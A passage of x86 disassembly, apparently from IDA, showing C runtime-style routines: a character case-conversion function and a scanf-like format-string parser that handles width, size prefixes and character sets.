loc_41A734:				; CODE XREF: sub_41A462+2C0j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	edx, 80000000h


loc_41A743:				; CODE XREF: sub_41A462+2BAj
		shr	edx, cl
		or	[eax], edx


loc_41A747:				; CODE XREF: sub_41A462+287j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax


loc_41A750:				; CODE XREF: sub_41A462+1A2j
					; sub_41A462:loc_41A610j
		push	1
		pop	eax


loc_41A753:				; CODE XREF: sub_41A462+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A462	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A758	proc near		; CODE XREF: sub_417DAD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_5158EC, 0
		push	ebx
		jnz	short loc_41A783
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41A821
		cmp	eax, 7Ah
		jg	loc_41A821
		sub	eax, 20h
		jmp	loc_41A821
; ---------------------------------------------------------------------------


loc_41A783:				; CODE XREF: sub_41A758+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41A7B6
		cmp	dword_43B7AC, 1
		jle	short loc_41A7A3
		push	2
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41A7AE
; ---------------------------------------------------------------------------


loc_41A7A3:				; CODE XREF: sub_41A758+3Dj
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41A7AE:				; CODE XREF: sub_41A758+49j
		test	eax, eax
		jnz	short loc_41A7B6


loc_41A7B2:				; CODE XREF: sub_41A758+AFj
		mov	eax, ebx
		jmp	short loc_41A821
; ---------------------------------------------------------------------------


loc_41A7B6:				; CODE XREF: sub_41A758+34j
					; sub_41A758+58j
		mov	edx, off_43B5A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41A7D9
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41A7E2
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A758+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41A7E2:				; CODE XREF: sub_41A758+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_5158EC
		call	sub_41BC2B
		add	esp, 20h
		test	eax, eax
		jz	short loc_41A7B2
		cmp	eax, 1
		jnz	short loc_41A814
		movzx	eax, [ebp+var_4]
		jmp	short loc_41A821
; ---------------------------------------------------------------------------


loc_41A814:				; CODE XREF: sub_41A758+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41A821:				; CODE XREF: sub_41A758+14j
					; sub_41A758+1Dj ...
		pop	ebx
		leave
		retn
sub_41A758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A824	proc near		; CODE XREF: sub_417FCC+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41B22A
		mov	edi, [ebp+arg_0]
		jmp	short loc_41A853
; ---------------------------------------------------------------------------


loc_41A84E:				; CODE XREF: sub_41A824+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41A853:				; CODE XREF: sub_41A824+28j
		cmp	dword_43B7AC, 1
		jle	short loc_41A86B
		movzx	eax, al
		push	8
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41A87A
; ---------------------------------------------------------------------------


loc_41A86B:				; CODE XREF: sub_41A824+36j
		mov	ecx, off_43B5A0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41A87A:				; CODE XREF: sub_41A824+45j
		cmp	eax, ebx
		jz	short loc_41A8B4
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41B2B1
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B29A
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DC3D
		add	esp, 0Ch


loc_41A8A2:				; CODE XREF: sub_41A824+8Ej
		test	eax, eax
		jz	short loc_41A8B4
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DC3D
		pop	ecx
		jmp	short loc_41A8A2
; ---------------------------------------------------------------------------


loc_41A8B4:				; CODE XREF: sub_41A824+58j
					; sub_41A824+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41B196
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_41A8EB:				; CODE XREF: sub_41A824+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43B7AC, 1
		jle	short loc_41A908
		movzx	eax, bl
		push	4
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41A917
; ---------------------------------------------------------------------------


loc_41A908:				; CODE XREF: sub_41A824+D3j
		mov	ecx, off_43B5A0
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41A917:				; CODE XREF: sub_41A824+E2j
		test	eax, eax
		jz	short loc_41A92D
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A92D:				; CODE XREF: sub_41A824+F5j
		cmp	ebx, 4Eh
		jg	short loc_41A970
		jz	short loc_41A992
		cmp	ebx, 2Ah
		jz	short loc_41A96B
		cmp	ebx, 46h
		jz	short loc_41A992
		cmp	ebx, 49h
		jz	short loc_41A94D
		cmp	ebx, 4Ch
		jnz	short loc_41A97F
		inc	[ebp+var_D]
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A94D:				; CODE XREF: sub_41A824+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41A97F
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41A97F
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A96B:				; CODE XREF: sub_41A824+113j
		inc	[ebp+var_E]
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A970:				; CODE XREF: sub_41A824+10Cj
		cmp	ebx, 68h
		jz	short loc_41A98C
		cmp	ebx, 6Ch
		jz	short loc_41A984
		cmp	ebx, 77h
		jz	short loc_41A987


loc_41A97F:				; CODE XREF: sub_41A824+122j
					; sub_41A824+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A984:				; CODE XREF: sub_41A824+154j
		inc	[ebp+var_D]


loc_41A987:				; CODE XREF: sub_41A824+159j
		inc	[ebp+var_5]
		jmp	short loc_41A992
; ---------------------------------------------------------------------------


loc_41A98C:				; CODE XREF: sub_41A824+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_41A992:				; CODE XREF: sub_41A824+107j
					; sub_41A824+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41A8EB
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41A9B7
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_41A9B7:				; CODE XREF: sub_41A824+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41A9D5
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41A9D1
		cmp	al, 43h
		jz	short loc_41A9D1
		or	[ebp+var_5], 0FFh
		jmp	short loc_41A9D5
; ---------------------------------------------------------------------------


loc_41A9D1:				; CODE XREF: sub_41A824+1A1j
					; sub_41A824+1A5j
		mov	[ebp+var_5], 1


loc_41A9D5:				; CODE XREF: sub_41A824+19Bj
					; sub_41A824+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41AA0E
		cmp	esi, 63h
		jz	short loc_41A9FF
		cmp	esi, 7Bh
		jz	short loc_41A9FF
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41B2B1
		pop	ecx
		jmp	short loc_41AA0A
; ---------------------------------------------------------------------------


loc_41A9FF:				; CODE XREF: sub_41A824+1C5j
					; sub_41A824+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280


loc_41AA0A:				; CODE XREF: sub_41A824+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41AA0E:				; CODE XREF: sub_41A824+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41AA1E
		cmp	[ebp+var_C], eax
		jz	loc_41B1FA


loc_41AA1E:				; CODE XREF: sub_41A824+1EFj
		cmp	esi, 6Fh
		jg	loc_41AC85
		jz	loc_41AF37
		cmp	esi, 63h
		jz	loc_41AC62
		cmp	esi, 64h
		jz	loc_41AF37
		jle	loc_41ACAF
		cmp	esi, 67h
		jle	short loc_41AA82
		cmp	esi, 69h
		jz	short loc_41AA6A
		cmp	esi, 6Eh
		jnz	loc_41ACAF
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41B165
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41AA6A:				; CODE XREF: sub_41A824+229j
		push	64h
		pop	esi


loc_41AA6D:				; CODE XREF: sub_41A824+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41ACF7
		mov	[ebp+var_17], 1
		jmp	loc_41ACFC
; ---------------------------------------------------------------------------


loc_41AA82:				; CODE XREF: sub_41A824+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41AA9E
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41AAA3
; ---------------------------------------------------------------------------


loc_41AA9E:				; CODE XREF: sub_41A824+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41AABA


loc_41AAA3:				; CODE XREF: sub_41A824+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AABD
; ---------------------------------------------------------------------------


loc_41AABA:				; CODE XREF: sub_41A824+27Dj
		mov	edi, [ebp+arg_0]


loc_41AABD:				; CODE XREF: sub_41A824+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41AACC
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41AAD3


loc_41AACC:				; CODE XREF: sub_41A824+29Dj
		mov	[ebp+var_C], 15Dh


loc_41AAD3:				; CODE XREF: sub_41A824+2A6j
					; sub_41A824+2F2j
		cmp	dword_43B7AC, 1
		jle	short loc_41AAE8
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AAF3
; ---------------------------------------------------------------------------


loc_41AAE8:				; CODE XREF: sub_41A824+2B6j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AAF3:				; CODE XREF: sub_41A824+2C2j
		test	eax, eax
		jz	short loc_41AB18
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AB18
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AAD3
; ---------------------------------------------------------------------------


loc_41AB18:				; CODE XREF: sub_41A824+2D1j
					; sub_41A824+2DBj
		cmp	byte_43B7B0, bl
		jnz	short loc_41AB86
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AB86
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		mov	al, byte_43B7B0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41AB41:				; CODE XREF: sub_41A824+360j
		cmp	dword_43B7AC, 1
		jle	short loc_41AB56
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AB61
; ---------------------------------------------------------------------------


loc_41AB56:				; CODE XREF: sub_41A824+324j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AB61:				; CODE XREF: sub_41A824+330j
		test	eax, eax
		jz	short loc_41AB86
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AB86
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41AB41
; ---------------------------------------------------------------------------


loc_41AB86:				; CODE XREF: sub_41A824+2FAj
					; sub_41A824+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41AC1E
		cmp	ebx, 65h
		jz	short loc_41AB9E
		cmp	ebx, 45h
		jnz	loc_41AC1E


loc_41AB9E:				; CODE XREF: sub_41A824+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AC1E
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41ABC5
		mov	[esi], al
		inc	esi
		jmp	short loc_41ABCA
; ---------------------------------------------------------------------------


loc_41ABC5:				; CODE XREF: sub_41A824+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41ABE8


loc_41ABCA:				; CODE XREF: sub_41A824+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41ABD9
		and	[ebp+var_C], eax
		jmp	short loc_41ABE8
; ---------------------------------------------------------------------------


loc_41ABD9:				; CODE XREF: sub_41A824+3AEj
					; sub_41A824+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41ABE8:				; CODE XREF: sub_41A824+3A4j
					; sub_41A824+3B3j
		cmp	dword_43B7AC, 1
		jle	short loc_41ABFD
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AC08
; ---------------------------------------------------------------------------


loc_41ABFD:				; CODE XREF: sub_41A824+3CBj
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AC08:				; CODE XREF: sub_41A824+3D7j
		test	eax, eax
		jz	short loc_41AC1E
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41AC1E
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41ABD9
; ---------------------------------------------------------------------------


loc_41AC1E:				; CODE XREF: sub_41A824+366j
					; sub_41A824+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41B29A
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41B22A
		cmp	[ebp+var_E], 0
		jnz	loc_41B18B
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43B8D0
		add	esp, 0Ch
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41AC62:				; CODE XREF: sub_41A824+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41AC71
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41AC71:				; CODE XREF: sub_41A824+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41AC7B
		mov	[ebp+var_16], 1


loc_41AC7B:				; CODE XREF: sub_41A824+451j
		mov	edi, offset dword_43B7C8
		jmp	loc_41AD90
; ---------------------------------------------------------------------------


loc_41AC85:				; CODE XREF: sub_41A824+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41AF33
		sub	eax, 3
		jz	loc_41AD81
		dec	eax
		dec	eax
		jz	loc_41AF37
		sub	eax, 3
		jz	loc_41AA6D
		sub	eax, 3
		jz	short loc_41ACD3


loc_41ACAF:				; CODE XREF: sub_41A824+21Bj
					; sub_41A824+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41B1FA
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41B18B
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41ACD3:				; CODE XREF: sub_41A824+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41ACDD
		mov	[ebp+var_16], 1


loc_41ACDD:				; CODE XREF: sub_41A824+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41AD94
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41AD90
; ---------------------------------------------------------------------------


loc_41ACF7:				; CODE XREF: sub_41A824+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41AD1E


loc_41ACFC:				; CODE XREF: sub_41A824+259j
		dec	[ebp+var_C]
		jnz	short loc_41AD0D
		cmp	[ebp+var_20], 0
		jz	short loc_41AD0D
		mov	[ebp+var_F], 1
		jmp	short loc_41AD1E
; ---------------------------------------------------------------------------


loc_41AD0D:				; CODE XREF: sub_41A824+4DBj
					; sub_41A824+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41AD1E:				; CODE XREF: sub_41A824+4D6j
					; sub_41A824+4E7j
		cmp	ebx, 30h
		jnz	loc_41AF6C
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41AD6C
		cmp	bl, 58h
		jz	short loc_41AD6C
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41AD56
		push	6Fh


loc_41AD50:				; CODE XREF: sub_41A824+55Bj
		pop	esi
		jmp	loc_41AF6C
; ---------------------------------------------------------------------------


loc_41AD56:				; CODE XREF: sub_41A824+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41B29A
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41AF69
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41A824+517j
					; sub_41A824+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41AD50
; ---------------------------------------------------------------------------


loc_41AD81:				; CODE XREF: sub_41A824+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41AD8B
		mov	[ebp+var_16], 1


loc_41AD8B:				; CODE XREF: sub_41A824+561j
		mov	edi, offset dword_43B7C0


loc_41AD90:				; CODE XREF: sub_41A824+45Cj
					; sub_41A824+4CEj
		or	[ebp+var_18], 0FFh


loc_41AD94:				; CODE XREF: sub_41A824+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417430
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41ADB8
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41ADB8
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------


loc_41ADB8:				; CODE XREF: sub_41A824+584j
					; sub_41A824+589j
		mov	dl, [ebp+var_35]


loc_41ADBB:				; CODE XREF: sub_41A824+592j
					; sub_41A824+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41AE20
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41AE07
		test	dl, dl
		jz	short loc_41AE07
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41AE07
		inc	edi
		cmp	dl, cl
		jnb	short loc_41ADDA
		mov	al, cl
		jmp	short loc_41ADDE
; ---------------------------------------------------------------------------


loc_41ADDA:				; CODE XREF: sub_41A824+5B0j
		mov	al, dl
		mov	dl, cl


loc_41ADDE:				; CODE XREF: sub_41A824+5B4j
		cmp	dl, al
		ja	short loc_41AE03
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41ADEB:				; CODE XREF: sub_41A824+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41ADEB


loc_41AE03:				; CODE XREF: sub_41A824+5BCj
		xor	dl, dl
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------


loc_41AE07:				; CODE XREF: sub_41A824+5A0j
					; sub_41A824+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41ADBB
; ---------------------------------------------------------------------------


loc_41AE20:				; CODE XREF: sub_41A824+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41B22A
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41AE32
		mov	[ebp+arg_4], edi


loc_41AE32:				; CODE XREF: sub_41A824+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41B29A
		pop	ecx
		pop	ecx


loc_41AE49:				; CODE XREF: sub_41A824+6BCj
					; sub_41A824+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41AE5D
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41AEF9


loc_41AE5D:				; CODE XREF: sub_41A824+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41AEED
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41AEED
		cmp	[ebp+var_E], 0
		jnz	short loc_41AEE5
		cmp	[ebp+var_16], 0
		jz	short loc_41AEDA
		mov	ecx, off_43B5A0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41AEB9
		inc	[ebp+var_4]
		push	edi
		call	sub_41B280
		pop	ecx
		mov	[ebp+var_37], al


loc_41AEB9:				; CODE XREF: sub_41A824+686j
		push	dword_43B7AC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_41DB75
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41AEDD
; ---------------------------------------------------------------------------


loc_41AEDA:				; CODE XREF: sub_41A824+673j
		mov	[esi], al
		inc	esi


loc_41AEDD:				; CODE XREF: sub_41A824+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41AE49
; ---------------------------------------------------------------------------


loc_41AEE5:				; CODE XREF: sub_41A824+66Dj
		inc	[ebp+var_30]
		jmp	loc_41AE49
; ---------------------------------------------------------------------------


loc_41AEED:				; CODE XREF: sub_41A824+649j
					; sub_41A824+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41B29A
		pop	ecx
		pop	ecx


loc_41AEF9:				; CODE XREF: sub_41A824+633j
		cmp	[ebp+var_30], esi
		jz	loc_41B22A
		cmp	[ebp+var_E], 0
		jnz	loc_41B18B
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41B18B
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41AF2B
		and	word ptr [eax],	0
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41AF2B:				; CODE XREF: sub_41A824+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41B18B
; ---------------------------------------------------------------------------


loc_41AF33:				; CODE XREF: sub_41A824+466j
		mov	[ebp+var_D], 1


loc_41AF37:				; CODE XREF: sub_41A824+203j
					; sub_41A824+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41AF45
		mov	[ebp+var_17], 1
		jmp	short loc_41AF4A
; ---------------------------------------------------------------------------


loc_41AF45:				; CODE XREF: sub_41A824+719j
		cmp	ebx, 2Bh
		jnz	short loc_41AF6C


loc_41AF4A:				; CODE XREF: sub_41A824+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41AF5B
		cmp	[ebp+var_20], 0
		jz	short loc_41AF5B
		mov	[ebp+var_F], 1
		jmp	short loc_41AF6C
; ---------------------------------------------------------------------------


loc_41AF5B:				; CODE XREF: sub_41A824+729j
					; sub_41A824+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41B280
		pop	ecx
		mov	ebx, eax


loc_41AF69:				; CODE XREF: sub_41A824+543j
		mov	[ebp+var_14], ebx


loc_41AF6C:				; CODE XREF: sub_41A824+4FDj
					; sub_41A824+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41B085
		cmp	[ebp+var_F], 0
		jnz	loc_41B063


loc_41AF80:				; CODE XREF: sub_41A824+82Cj
		cmp	esi, 78h
		jnz	short loc_41AFD4
		cmp	dword_43B7AC, 1
		jle	short loc_41AF9D
		push	80h
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AFAA
; ---------------------------------------------------------------------------


loc_41AF9D:				; CODE XREF: sub_41A824+768j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41AFAA:				; CODE XREF: sub_41A824+777j
		test	eax, eax
		jz	loc_41B055
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_41DC70
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41B249
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41B027
; ---------------------------------------------------------------------------


loc_41AFD4:				; CODE XREF: sub_41A824+75Fj
		cmp	dword_43B7AC, 1
		jle	short loc_41AFE9
		push	4
		push	ebx
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41AFF4
; ---------------------------------------------------------------------------


loc_41AFE9:				; CODE XREF: sub_41A824+7B7j
		mov	eax, off_43B5A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41AFF4:				; CODE XREF: sub_41A824+7C3j
		test	eax, eax
		jz	short loc_41B055
		cmp	esi, 6Fh
		jnz	short loc_41B012
		cmp	ebx, 38h
		jge	short loc_41B055
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
